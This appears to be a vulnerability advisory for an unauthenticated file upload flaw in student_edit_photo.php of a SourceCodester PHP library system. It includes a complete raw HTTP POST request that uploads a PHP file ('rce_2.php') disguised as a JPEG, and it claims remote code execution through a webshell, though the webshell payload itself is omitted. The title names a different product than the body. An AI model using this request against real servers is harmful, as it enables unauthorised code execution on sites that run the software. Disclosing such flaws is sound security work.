SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_edit_photo.php Unrestricted Upload

[1097hzy]

SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_edit_photo.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

• Library System using PHP/MySQli with Source Code

Vendor Homepage

• https://www.sourcecodester.com/php/12275/library-system-using-php.html

AFFECTED AND/OR FIXED VERSION(S)

submitter

• Huang Yue

Vulnerable File

• student_edit_photo.php

VERSION(S)

• V1.0

Software Link

• https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip

PROBLEM TYPE

Vulnerability Type

• File upload

Root Cause

• The input obtained through PHP in line 6 of the \admin\student_edit_photo.php file is used by PHP in line 8 of the \admin\student_edit_photo.php file to determine the location of the file to be written, which may allow attackers to modify or damage the content of the file, or create a brand new file.
• 

Impact

• Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

• Huang Yue found that the file upload operation was triggered in student_edit_photo.php, and the _FAILE variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

This process does not require any user login and can also be uploaded

• The picture I uploaded here is a photo of carrying a Trojan horse, but due to character confusion, I took a screenshot directly.
• 

POST /admin/student_edit_photo.php HTTP/1.1
Host: www.libsystem.com:8103
Content-Length: 2302
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.libsystem.com:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hqPQF5ESGzPsovq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.libsystem.com:8103/admin/student.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7hqPQF5ESGzPsovq
Content-Disposition: form-data; name="id"

4
------WebKitFormBoundary7hqPQF5ESGzPsovq
Content-Disposition: form-data; name="photo"; filename="rce_2.php"
Content-Type: image/jpeg

Node:Sorry, due to some coding reasons, I am unable to use markdown to store image data with attack payloads here.

------WebKitFormBoundary7hqPQF5ESGzPsovq
Content-Disposition: form-data; name="upload"


------WebKitFormBoundary7hqPQF5ESGzPsovq--

• 

This file upload vulnerability will automatically add a timestamp before the name of the uploaded file.

• I successfully connected using shell tools
• 
• I successfully executed the ipconfig command using shell tools
•